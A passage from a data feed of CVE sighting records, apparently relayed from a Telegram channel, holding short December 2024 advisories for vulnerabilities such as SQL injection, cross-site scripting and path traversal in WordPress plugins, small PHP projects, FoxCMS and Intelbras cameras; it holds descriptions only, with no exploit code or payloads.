"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12881", "type": "seen", "source": "https://t.me/cvedetector/13577", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12881 - WordPress PlugVersions Arbitrary File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12881 \nPublished : Dec. 24, 2024, 10:15 a.m. | 36\u00a0minutes ago \nDescription : The PlugVersions \u2013 Easily rollback to previous versions of your plugins plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the eos_plugin_reviews_restore_version() function in all versions up to, and including, 0.0.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create arbitrary files leveraging files included locally. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T11:53:40.000000Z"}, {"uuid": "776a7c9e-c194-4a3b-9f0a-4767bc6d45f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12850", "type": "seen", "source": "https://t.me/cvedetector/13575", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12850 - WordPress Database Backup and Check Tables Automated With Scheduler Plugin Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12850 \nPublished : Dec. 24, 2024, 10:15 a.m. | 36\u00a0minutes ago \nDescription : The Database Backup and check Tables Automated With Scheduler 2024 plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.32 via the database_backup_ajax_download() function. This makes it possible for authenticated attackers, with administrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information. \nSeverity: 4.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T11:53:39.000000Z"}, {"uuid": "976e86da-af65-49dd-af16-93d04fe9b2b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12468", "type": "seen", "source": "https://t.me/cvedetector/13573", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12468 - WordPress Datepicker Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12468 \nPublished : Dec. 24, 2024, 9:15 a.m. | 37\u00a0minutes ago \nDescription : The WP Datepicker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'wpdp_get_selected_datepicker' parameter in all versions up to, and including, 2.1.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T11:03:28.000000Z"}, {"uuid": "5d036959-cdf5-485b-90b6-7decf2746cf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12814", "type": "seen", "source": "https://t.me/cvedetector/13572", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12814 - WordPress Loan Comparison Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12814 \nPublished : Dec. 24, 2024, 7:15 a.m. | 38\u00a0minutes ago \nDescription : The Loan Comparison plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'loancomparison' shortcode in all versions up to, and including, 2.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T09:23:07.000000Z"}, {"uuid": "2e29cbf1-9fa4-4e38-aa0e-e61744548652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12100", "type": "seen", "source": "https://t.me/cvedetector/13568", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12100 - Uncategorizedewing Reflected Cross-Site Scripting in Bitcoin Lightning Publisher for WordPress\", \n  \"Content\": \"CVE ID : CVE-2024-12100 \nPublished : Dec. 24, 2024, 6:15 a.m. | 17\u00a0minutes ago \nDescription : The Bitcoin Lightning Publisher for WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including, 1.4.1. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T07:42:48.000000Z"}, {"uuid": "63583924-bbc0-4122-a151-45fe48cf209e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12096", "type": "seen", "source": "https://t.me/cvedetector/13567", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12096 - WordPress Exhibit to WP Gallery XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12096 \nPublished : Dec. 24, 2024, 6:15 a.m. | 17\u00a0minutes ago \nDescription : The Exhibit to WP Gallery WordPress plugin through 0.0.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T07:42:45.000000Z"}, {"uuid": "91b84147-8470-4aaf-8842-a82a5ebf30db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12900", "type": "seen", "source": "https://t.me/cvedetector/13530", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12900 - FoxCMS Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12900 \nPublished : Dec. 23, 2024, 2:15 a.m. | 44\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in FoxCMS up to 1.2. Affected is an unknown function of the file /install/installdb.php of the component Configuration File Handler. The manipulation of the argument database password leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T04:07:26.000000Z"}, {"uuid": "9e35a03d-9938-46cc-a679-c92c1e57cc9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12901", "type": "seen", "source": "https://t.me/cvedetector/13529", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12901 - FoxCMS API Endpoint Unauthorized Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12901 \nPublished : Dec. 23, 2024, 2:15 a.m. | 44\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in FoxCMS up to 1.2. Affected by this vulnerability is an unknown functionality of the file /app/api/controller/Site.php of the component API Endpoint. The manipulation of the argument password leads to improper authorization. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T04:07:26.000000Z"}, {"uuid": "41ed4f2a-309b-4a06-960d-c9c2c4ca76f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12405", "type": "seen", "source": "https://t.me/cvedetector/13562", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12405 - \"WordPress Export Customers Data Plugin Reflected Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12405 \nPublished : Dec. 24, 2024, 6:15 a.m. | 17\u00a0minutes ago \nDescription : The Export Customers Data plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 't' parameter in all versions up to, and including, 1.2.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T07:42:38.000000Z"}, {"uuid": "e13681b5-28a2-427b-9244-064668b852c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12894", "type": "seen", "source": "https://t.me/cvedetector/13511", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12894 - TreasureHuntGame TreasureHunt SQL Injection Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-12894 \nPublished : Dec. 22, 2024, 12:15 p.m. | 30\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in TreasureHuntGame TreasureHunt up to 963e0e0. Affected is an unknown function of the file TreasureHunt/acesso.php. The manipulation of the argument usuario leads to sql injection. It is possible to launch the attack remotely. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The name of the patch is 8bcc649abc35b7734951be084bb522a532faac4e. It is recommended to apply a patch to fix this issue. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-22T13:54:25.000000Z"}, {"uuid": "a76d617f-ff3f-4680-9229-1e159a0a0351", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12892", "type": "seen", "source": "https://t.me/cvedetector/13510", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12892 - \"Code-projects Online Exam Mastering System Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12892 \nPublished : Dec. 22, 2024, 8:15 a.m. | 26\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in code-projects Online Exam Mastering System 1.0. Affected by this vulnerability is an unknown functionality of the file /sign.php?q=account.php. The manipulation of the argument name/gender/college leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-22T09:43:33.000000Z"}, {"uuid": "02830749-d673-4fa8-953a-e0a2f4df5eb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12893", "type": "seen", "source": "https://t.me/cvedetector/13509", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12893 - Portabilis i-Educar Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12893 \nPublished : Dec. 22, 2024, 8:15 a.m. | 26\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in Portabilis i-Educar up to 2.9. Affected by this issue is some unknown functionality of the file /usuarios/tipos/2 of the component Tipo de Usu\u00e1rio Page. The manipulation of the argument name leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 2.4 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-22T09:43:32.000000Z"}, {"uuid": "432ffb99-053f-4686-8ecf-d401218d1bc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12891", "type": "seen", "source": "https://t.me/cvedetector/13508", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12891 - Code-projects Online Exam Mastering System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12891 \nPublished : Dec. 22, 2024, 7:15 a.m. | 37\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in code-projects Online Exam Mastering System 1.0. Affected is an unknown function of the file /account.php?q=quiz&step=2. The manipulation of the argument eid leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-22T08:53:22.000000Z"}, {"uuid": "a17a3d59-d191-40c3-a6ec-a1bcc4653be1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12890", "type": "seen", "source": "https://t.me/cvedetector/13507", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12890 - Code-projects Online Exam Mastering System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12890 \nPublished : Dec. 22, 2024, 6:15 a.m. | 36\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Online Exam Mastering System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /update.php?q=quiz&step=2. The manipulation of the argument eid leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-22T08:03:11.000000Z"}, {"uuid": "2fa56c66-10e7-4853-9293-e45fbcfcb45f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12582", "type": "seen", "source": "https://t.me/cvedetector/13552", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12582 - \"Skupper Console Plaintext Authentication Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12582 \nPublished : Dec. 24, 2024, 4:15 a.m. | 37\u00a0minutes ago \nDescription : A flaw was found in the skupper console,  a read-only interface that renders cluster network, traffic details, and metrics for a network application that a user sets up across a hybrid multi-cloud environment. When the default authentication method is used, a random password is generated for the \"admin\" user and is persisted in either a Kubernetes secret or a podman volume in a plaintext file. This authentication method can be manipulated by an attacker, leading to the reading of any user-readable file in the container filesystem, directly impacting data confidentiality. Additionally, the attacker may induce skupper to read extremely large files into memory, resulting in resource exhaustion and a denial of service attack. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T06:02:16.000000Z"}, {"uuid": "22c053fe-55ba-408d-a038-4f0b64d9788b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12898", "type": "seen", "source": "https://t.me/cvedetector/13528", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12898 - 1000 Projects Attendance Tracking Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12898 \nPublished : Dec. 23, 2024, 1:15 a.m. | 41\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Attendance Tracking Management System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /admin/faculty_action.php. The manipulation of the argument faculty_course_id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T03:17:18.000000Z"}, {"uuid": "f0b43ae6-ccbe-42e4-ab36-ace70bed97cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12899", "type": "seen", "source": "https://t.me/cvedetector/13522", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12899 - 1000 Projects Attendance Tracking Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12899 \nPublished : Dec. 23, 2024, 1:15 a.m. | 41\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Attendance Tracking Management System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /admin/course_action.php. The manipulation of the argument course_code leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T03:17:10.000000Z"}, {"uuid": "f1a8fd8d-f8b2-4d25-b324-daca1ea353df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12897", "type": "seen", "source": "https://t.me/cvedetector/13521", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12897 - Intelbras VIP Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12897 \nPublished : Dec. 23, 2024, 12:15 a.m. | 42\u00a0minutes ago \nDescription : A vulnerability was found in Intelbras VIP S3020 G2, VIP S4020 G2, VIP S4020 G3 and VIP S4320 G2 up to 20241222. It has been classified as critical. This affects an unknown part of the file ../mtd/Config/Sha1Account1 of the component Web Interface. The manipulation leads to path traversal: '../filedir'. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T02:27:00.000000Z"}, {"uuid": "80024fb7-b7da-49c7-8a9a-307999010910", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12896", "type": "seen", "source": "https://t.me/cvedetector/13519", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12896 - \"Intelbras VIP S3020 G2, etc. Web Interface Information Disclosure Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12896 \nPublished : Dec. 22, 2024, 11:15 p.m. | 21\u00a0minutes ago \nDescription : A vulnerability was found in Intelbras VIP S3020 G2, VIP S4020 G2, VIP S4020 G3 and VIP S4320 G2 up to 20241222 and classified as problematic. Affected by this issue is some unknown functionality of the file /web_caps/webCapsConfig of the component Web Interface. The manipulation leads to information disclosure. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor assesses that \"the information disclosed in the URL is not sensitive or poses any risk to the user\". \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T00:46:39.000000Z"}, {"uuid": "05e5cfe4-1643-456c-8be2-d3caf9b11a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12057", "type": "seen", "source": "https://t.me/cvedetector/12444", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12057 - PcVue Web Back End Password Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12057 \nPublished : Dec. 9, 2024, 7:15 p.m. | 44\u00a0minutes ago \nDescription : User credentials (login & password) are inserted into log files when a user tries to authenticate using a version of a Web client that is not compatible with that of the PcVue Web back end.  \nBy exploiting this vulnerability, an attacker could retrieve the credentials of a user by accessing the Log File. Successful exploitation of this vulnerability could lead to unauthorized access to the application. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T21:24:08.000000Z"}, {"uuid": "cdacc9d3-dce7-432d-a583-554f8ef08cc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12323", "type": "seen", "source": "https://t.me/cvedetector/12515", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12323 - TurboSMTP WordPress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12323 \nPublished : Dec. 10, 2024, 3:15 p.m. | 42\u00a0minutes ago \nDescription : The turboSMTP plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018page\u2019 parameter in all versions up to, and including, 4.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link while logged in to turboSMTP. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T17:28:33.000000Z"}, {"uuid": "21c87449-1954-4c65-b61a-aa080eca6c15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12393", "type": "seen", "source": "https://t.me/cvedetector/12457", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12393 - Improper Neutralization of Input During Web Page G\", \n  \"Content\": \"CVE ID : CVE-2024-12393 \nPublished : Dec. 10, 2024, 12:15 a.m. | 19\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Drupal Core allows Cross-Site Scripting (XSS).This issue affects Drupal Core: from 8.8.0 before 10.2.11, from 10.3.0 before 10.3.9, from 11.0.0 before 11.0.8. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T01:34:58.000000Z"}, {"uuid": "a58870a7-53e8-45a1-9cab-7b08af99faf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12174", "type": "seen", "source": "https://t.me/cvedetector/12452", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12174 - Tenable Security Center Certificate Validation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12174 \nPublished : Dec. 9, 2024, 10:15 p.m. | 37\u00a0minutes ago \nDescription : An Improper Certificate Validation vulnerability exists in Tenable Security Center where an authenticated, privileged attacker could intercept email messages sent from Security Center via a rogue SMTP server. \nSeverity: 2.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T23:54:38.000000Z"}, {"uuid": "f6c87005-db40-4795-abb2-114656105c9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12305", "type": "seen", "source": "https://t.me/cvedetector/12367", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12305 - \"Unifiedtransform Student Grade Access Control Bypass\"\", \n  \"Content\": \"CVE ID : CVE-2024-12305 \nPublished : Dec. 9, 2024, 9:15 a.m. | 40\u00a0minutes ago \nDescription : An object-level access control vulnerability in Unifiedtransform version 2.0 and potentially earlier versions allows unauthorized access to student grades. A malicious student user can view grades of other students by manipulating the student_id parameter in the marks viewing endpoint. The vulnerability exists due to insufficient access control checks in MarkController.php. At the time of publication of the CVE no patch is available. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T11:20:48.000000Z"}, {"uuid": "97a2e5fb-dc5b-4ad8-a44b-9582201cdce9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12359", "type": "seen", "source": "https://t.me/cvedetector/12361", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12359 - Code-projects Admin Dashboard Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12359 \nPublished : Dec. 9, 2024, 5:15 a.m. | 38\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Admin Dashboard 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file /vendor_management.php. The manipulation of the argument username leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The initial researcher advisory mentions contradicting product names. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T07:10:07.000000Z"}, {"uuid": "cd20ff60-b2c2-4454-b039-760b58914e13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12358", "type": "seen", "source": "https://t.me/cvedetector/12360", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12358 - Weiyedatax-Web Os Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12358 \nPublished : Dec. 9, 2024, 5:15 a.m. | 38\u00a0minutes ago \nDescription : A vulnerability was found in WeiYe-Jing datax-web 2.1.1. It has been classified as critical. This affects an 